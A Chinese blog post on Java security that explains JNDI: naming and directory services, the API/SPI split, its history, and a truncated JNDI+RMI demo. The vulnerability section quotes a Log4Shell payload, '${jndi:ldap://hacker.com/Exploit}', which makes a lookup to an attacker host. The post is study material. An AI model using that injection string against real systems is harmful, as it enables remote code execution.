java安全-JNDI实现
java安全-JNDI实现
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java企业级开发中一个非常有“时代印记”的技术
一 、JNDI
简单来说,JNDI 是 Java 提供的一套标准 API,它的主要作用是**“解耦应用代码与外部资源”**。它允许 Java 应用程序通过一个“名称”去寻找和使用外部的资源(比如数据库连接池、消息队列、分布式对象等),而不需要在代码里硬编码这些资源的具体连接信息
JNDI 主要包含两大服务:
- 命名服务 (Naming Service): 类似于“电话簿”。它将一个名字(Name)和一个对象(Object)绑定在一起。你在代码里给定一个名字,JNDI 就能还给你一个对象
- 例子: 输入
java:comp/env/jdbc/myDB,它返回给你一个配置好的数据库连接池对象
- 例子: 输入
- 目录服务 (Directory Service): 它是命名服务的扩展,类似于“黄页”。它不仅绑定名字和对象,还允许对象拥有各种“属性”(Attributes),你可以通过属性去搜索对象
- 例子: LDAP(轻量级目录访问协议)就是典型的目录服务,你可以搜索“部门=研发部”的所有员工对象
JNDI 的架构设计:API 与 SPI 的分离
JNDI 最精妙的设计在于它分成了两层:
JNDI API (Application Programming Interface): 给 Java 开发者用的接口。你在代码里只管调用
Context.lookup("name"),不需要关心底层是哪种服务器JNDI SPI (Service Provider Interface): 给各种服务器厂商和中间件用的接口。不同的服务(如 LDAP、RMI、DNS、CORBA)提供各自的 SPI 实现插件。只要插件接入了 JNDI,Java 开发者就能用同一套 API 去访问它们
JNDI常见服务服务类型 说明 Factory 类 RMI Java 远程方法调用注册表 com.sun.jndi.rmi.registry.RegistryContextFactoryLDAP 轻量目录访问协议 com.sun.jndi.ldap.LdapCtxFactoryCORBA/IIOP 分布式对象 com.sun.jndi.cosnaming.CNCtxFactoryDNS 域名解析 com.sun.jndi.dns.DnsContextFactory
二、 JNDI 的演进历程
1.辉煌时代(传统 J2EE / Java EE 时期)
在十几二十年前,企业级开发主要依赖重量级的应用服务器(如 WebLogic, WebSphere,甚至早期的 Tomcat)。
- 当时的痛点: 数据库账号密码、连接池配置如果写死在代码里,每次修改都要重新编译打包
- JNDI 的救赎: 运维人员在 WebLogic 服务器的控制台里配置好数据源,并给它起个 JNDI 名字(比如
jdbc/OrderDB)。开发人员在代码里直接 Lookup 这个名字就能拿到数据库连接。代码与配置完美解耦,JNDI 成为了企业级开发的绝对标准
2.平稳过渡期(Spring 框架崛起时期)
随着 EJB 被淘汰,Spring 框架凭借 IoC(控制反转)和 DI(依赖注入)成为了主流。
- 变化: 开发者不再需要手动编写长长的一段
InitialContext.lookup()样板代码了。 - 现状: 底层依然在使用 JNDI(尤其是获取外部的 Tomcat 数据源时),但在业务代码层面,JNDI 被 Spring 的配置文件(如
<jee:jndi-lookup>标签)隐藏了起来,存在感开始降低。
3.边缘化时期(微服务与云原生时代)
随着 Spring Boot、Docker 和 Kubernetes 的爆发,应用的部署方式发生了翻天覆地的变化。
- 致命打击: 我们不再把应用部署到庞大的 WebLogic 服务器里了,而是将应用和内置的 Tomcat 打包成一个轻量级的可执行 Jar 包或 Docker 镜像。
- 替代者出现: 资源解耦的任务交给了 环境变量、YAML 配置文件、以及分布式的配置中心(如 Nacos, Apollo, Spring Cloud Config)。JNDI 依赖外部容器管理的模式变得极其笨重且不合时宜,几乎在现代微服务开发中销声匿迹
4.漏洞爆发
因为安全漏洞
- JNDI 注入攻击: 因为 JNDI 的设计允许程序动态地去远程服务器(如 RMI 或 LDAP 服务器)下载对象并执行它的代码。黑客利用这一点,让程序去 Lookup 一个恶意的远程地址,从而实现远程代码执行(RCE)。
- Log4Shell 漏洞 (2021年): 轰动全球的 Log4j2 漏洞(CVE-2021-44228),正是因为 Log4j 允许在日志里解析 JNDI 字符串(如
${jndi:ldap://hacker.com/Exploit})。这给了 JNDI 的声誉致命一击,现在很多安全规范都要求默认禁用 JNDI 的远程类加载功能。
三、JNDI实现
1.demo-JNDI+RMI
server
chuan/rmi/RMIServer.java
1 | public class RMIServer { |
chuan/rmi/JNDIRMIServer.java
1 | public class JNDIRMIServer { |
client
chuan/rmi/JNDIRMIClient.java
1 | public class JNDIRMIClient { |
本质上就是 JNDI 中包了一个rmi
2.具体实现
chuan/rmi/JNDIRMIClient.java客户端获取JNDI对象
1 | RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); |
javax/naming/InitialContext.java
1 | public Object lookup(String name) throws NamingException { |
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class
接着调用lookup方法,进入RegistryImpl_Stub.class中的逻辑,也就代表这里选择了rmi服务

本质上
